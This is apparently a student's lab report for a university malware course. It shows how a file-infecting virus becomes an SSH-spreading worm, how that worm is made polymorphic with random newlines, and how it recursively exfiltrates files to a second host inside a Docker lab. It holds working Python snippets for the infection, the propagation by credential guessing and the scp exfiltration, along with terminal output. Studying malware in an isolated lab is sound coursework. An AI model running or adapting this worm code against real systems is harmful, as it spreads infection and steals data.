CSE 406: Malware Offline Report
Student ID: 1805027

Task 1:

We need to turn FooVirus.py virus into a worm by incorporating networking code in it. For this, networking code similar to that of AbraWorm.py is added here so that apart from infecting the foo files in current directory of the host machine, it also deposits a copy to a remote machine by trying random username, password and ip address when “debug = 0”, and with fixed username, password and ip address when “debug=1”. It does not affect the foo files of the remote machine until a user of the remote machine executes the virus.

Code snippets:

I have incorporated the networking code into the foovirus such that the foovirus can attack onto target remote host machines and infect any file with .foo extension in those machines if executed.

```
cmd = 'find . -maxdepth 1 -type f -name "*.foo"'
stdin, stdout, stderr = ssh.exec_command(cmd)
error = stderr.readlines()
if error:
    print(error)
    continue
received_list = list(map(lambda x: x.encode('utf-8'), stdout.readlines()))
for item in received_list:
    files_of_interest_at_target.append(item.strip())
print("\nfiles of interest at the target: %s" % str(files_of_interest_at_target))
scpcon = scp.SCPClient(ssh.get_transport())
if len(files_of_interest_at_target) > 0:
    for target_file in files_of_interest_at_target:
        scpcon.get(target_file)

#Foovirus.py
IN = open(sys.argv[0], 'r')
virus = [line for (i,line) in enumerate(IN)]

for item in glob.glob("*.foo"):
    IN = open(item, 'r')
    all_of_it = IN.readlines()
    IN.close()
    if any('foovirus' in line for line in all_of_it): continue
    os.chmod(item, 0o777)
    OUT = open(item, 'w')
    OUT.writelines(virus)
    all_of_it = ['#' + line for line in all_of_it]
```

Ln 193, Col 21 Spaces: 4 UTF-8 CRLF Python

```
# Now deposit a copy of 1805027_1.py at the target host:
scpcon.put(sys.argv[0])
scpcon.close()
```

This is the code segment for transferring the malicious foo virus over to the target host.

Before executing the attack:

```
seed@VM: ~/.../1_demo
[08/04/23]seed@VM:~/.../1_demo$ ls
1805027_1.py  a.foo  b.txt
[08/04/23]seed@VM:~/.../1_demo$ cat a.foo
hello,this file will be affected
[08/04/23]seed@VM:~/.../1_demo$ cat b.txt
again hello,this file won't be affected
[08/04/23]seed@VM:~/.../1_demo$
```

```
[08/04/23]seed@VM:~/.../Docker-setup$ docksh 2ed
root@2edb3e43f4f8:/# cd root
root@2edb3e43f4f8:~# ls
a.foo  b.foo
root@2edb3e43f4f8:~#
```

After executing the attack:

```
[08/04/23]seed@VM:~/.../Offline-Malware-Jan23$ python3 1805027_1.py

Trying password mypassword for user root at IP address: 172.17.0.2


connected



output of 'ls' command: [b'a.foo\n', b'b.foo\n']
```

```
[08/04/23]seed@VM:~/Downloads$ docksh 2ed
root@2edb3e43f4f8:/# cd root
root@2edb3e43f4f8:~# ls
1805027_1.py  a.foo  b.foo
root@2edb3e43f4f8:~#
```

Here,we can see that a copy of the foovirus 1805027_1.py has been transferred to the target host.

```
                    #Foovirus.py
                    IN = open(sys.argv[0], 'r')
                    virus = [line for (i,line) in enumerate(IN)]

                    for item in glob.glob("*.foo"):
                        print("in loop")
                        IN = open(item, 'r')
                        all_of_it = IN.readlines()
                        IN.close()
                        if any('foovirus' in line for line in all_of_it): continue
                        os.chmod(item, 0o777)
                        OUT = open(item, 'w')
                        OUT.writelines(virus)
                        all_of_it = ['#' + line for line in all_of_it]
                        OUT.writelines(all_of_it)
                        OUT.close()
                    # Now deposit a copy of 1805027_1.py at the target host:
                    scpcon.put(sys.argv[0])
                    scpcon.close()
                except:
                    continue
    if debug: break
#hello,this file will be affected
```

The figure shows an infected a.foo file.

Task 2:

We have to modify the file AbraWorm.py so that no two copies of the worm are exactly the same in all of the infected hosts at any given time.
For this purpose, random number of new line characters are added at a randomly chosen place in the code.

Code snippet of the modifications:

```
# Now deposit a copy of 1805027_2.py at the target host:
file_path = "1805027_2.py"
with open(file_path, "r") as f:
    lines = f.readlines()

# Generate a random number between 1 and 10 (you can adjust the range)
num_lines = random.randint(1, 50)

# Choose a random line number to insert new lines after
insert_line = random.randint(0, len(lines) - 1)

# Insert the new lines after the chosen line
new_lines = "\n".join([""" for _ in range(num_lines)])
lines.insert(insert_line + 1, new_lines)
# Write the modified content back to the file
with open("modified_1805027_2.py", "w") as f:
    f.writelines(lines)

scpcon.put("modified_1805027_2.py")
os.remove("modified_1805027_2.py")
scpcon.close()
```

The code snippet picks a random line from the abraworm code and inserts a random number of new lines,after doing so,it saves the modified file and transfers it to the target and then subsequently removes it from the host machine.

Before executing the attack:

```
seed@VM: ~/.../2_demo
[08/04/23]seed@VM:~/.../2_demo$ ls
1805027_2.py
[08/04/23]seed@VM:~/.../2_demo$
```

This is the state of the host machine before execution.

```
root@2edb3e43f4f8:/# cd root
root@2edb3e43f4f8:~# touch abra1.txt
root@2edb3e43f4f8:~# echo abracadabra > abra1.txt
root@2edb3e43f4f8:~# touch notabra.txt
root@2edb3e43f4f8:~# echo hello > notabra.txt
root@2edb3e43f4f8:~# ls
a.foo  abra1.txt  b.foo  notabra.txt
root@2edb3e43f4f8:~#
```

This is the state of the target machine.

After execution:

```
root@2edb3e43f4f8:~# ls
a.foo  abra1.txt  b.foo  modified_1805027_2.py  notabra.txt
root@2edb3e43f4f8:~#
```

A copy of the file has been transferred to the target machine.

```
[08/04/23]seed@VM:~/.../2_demo$ docksh 3ef
root@3ef923128b43:/# cd root
root@3ef923128b43:~# ls
abra1.txt
```

The file of interest containing the magic string “abracadabra” has been transferred to the remote machine with ip address 172.17.0.3 as desired.

Output:

```
[08/04/23]seed@VM:~/.../2_demo$ python3 1805027_2.py

Trying password mypassword for user root at IP address: 172.17.0.2


connected



output of 'ls' command: [b'a.foo\n', b'abra1.txt\n', b'b.foo\n', b'notabra.txt\n
']

files of interest at the target: [b'abra1.txt']

Will now try to exfiltrate the files


connected to exhiltration host


def get_fresh_ipaddresses(how_many):
    if debug: return ['172.17.0.2']
                    # Provide one or more IP address that you




                    # want `attacked' for debugging purposes.
                    # The usrname and password you provided
                    # in the previous two functions must
                    # work on these hosts.
    if how_many == 0: return 0
```

The altered code,which contains new lines at random places inserted into itself.

Task 3:

Here we need to examine the files of the directories at every level and transfer the desired files to target machine.

For this purpose, the files are collected recursively from each directories and saved to host machine first. Then the files are read from the host machine and sent to the target machine. This modification is done on the code of Task 2. Therefore, here the modifications in task 2 are avoided in discussion.

Code snippets of modifications:

```python
# Now let's look for files that contain the string 'abracadabra'
cmd = 'grep -lrs abracadabra *'
stdin, stdout, stderr = ssh.exec_command(cmd)
error = stderr.readlines()
if error:
    print(error)
    continue
received_list = list(map(lambda x: x.encode('utf-8'), stdout.readlines()))
for item in received_list:
    files_of_interest_at_target.append(item.strip())
print("\nfiles of interest at the target: %s" % str(files_of_interest_at_target))
scpcon = scp.SCPClient(ssh.get_transport())
if len(files_of_interest_at_target) > 0:
    for target_file in files_of_interest_at_target:
        scpcon.get(target_file)
```

The -lrs extension of the grep command searches for files containing the magic string recursively.

```python
if len(files_of_interest_at_target) > 0:
    print("\nWill now try to exfiltrate the files")
    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        #  For exfiltration demo to work, you must provide an IP address and the login
        #  credentials in the next statement:
        ssh.connect('172.17.0.3',port=22,username='root',password='mypassword',timeout=5)
        scpcon = scp.SCPClient(ssh.get_transport())
        print("\n\nconnected to exhiltration host\n")
        for filename in files_of_interest_at_target:
            scpcon.put(os.path.basename(filename))
        scpcon.close()
    except:
        print("No uploading of exfiltrated files\n")
        continue
```

This part of the code transfers all the files of interest over to the remote machine with ip address 172.17.0.3.

Before executing the attack:

```
seed@VM: ~/.../3_demo
[08/04/23]seed@VM:~/.../3_demo$ ls
1805027_3.py
[08/04/23]seed@VM:~/.../3_demo$
```

This is the state of the current directory of the host machine.

```
root@2edb3e43f4f8: ~
[08/04/23]seed@VM:~/.../3_demo$ docksh 2ed
root@2edb3e43f4f8:/# cd root
root@2edb3e43f4f8:~# ls
a.foo  abra1.txt  abra2.txt  b.foo  dir1  modified_1805027_2.py  notabra.txt
root@2edb3e43f4f8:~# cd dir1
root@2edb3e43f4f8:~/dir1# touch abra3.txt
root@2edb3e43f4f8:~/dir1# echo abracadabra > abra3.txt
root@2edb3e43f4f8:~/dir1# cd ..
root@2edb3e43f4f8:~# ls
a.foo  abra1.txt  abra2.txt  b.foo  dir1  modified_1805027_2.py  notabra.txt
root@2edb3e43f4f8:~#
```

This is the state of the target machine before execution of the attack.

Output :

```
[08/04/23]seed@VM:~/.../3_demo$ python3 1805027_3.py

Trying password mypassword for user root at IP address: 172.17.0.2


connected



output of 'ls' command: [b'a.foo\n', b'abra1.txt\n', b'abra2.txt\n', b'b.foo\n',
 b'dir1\n', b'notabra.txt\n']

files of interest at the target: [b'abra1.txt', b'abra2.txt', b'dir1/abra3.txt']

Will now try to exfiltrate the files


connected to exhiltration host
```

After execution:

Note that, all the files containing “abracadabra” in all the directories at each level is collected and transferred to target machine.

```
[08/04/23]seed@VM:~/.../3_demo$ docksh 3ef
root@3ef923128b43:/# cd root
root@3ef923128b43:~# ls
abra1.txt  abra2.txt _abra3.txt
```

It is seen here that all the files of interest have been transferred to the remote machine.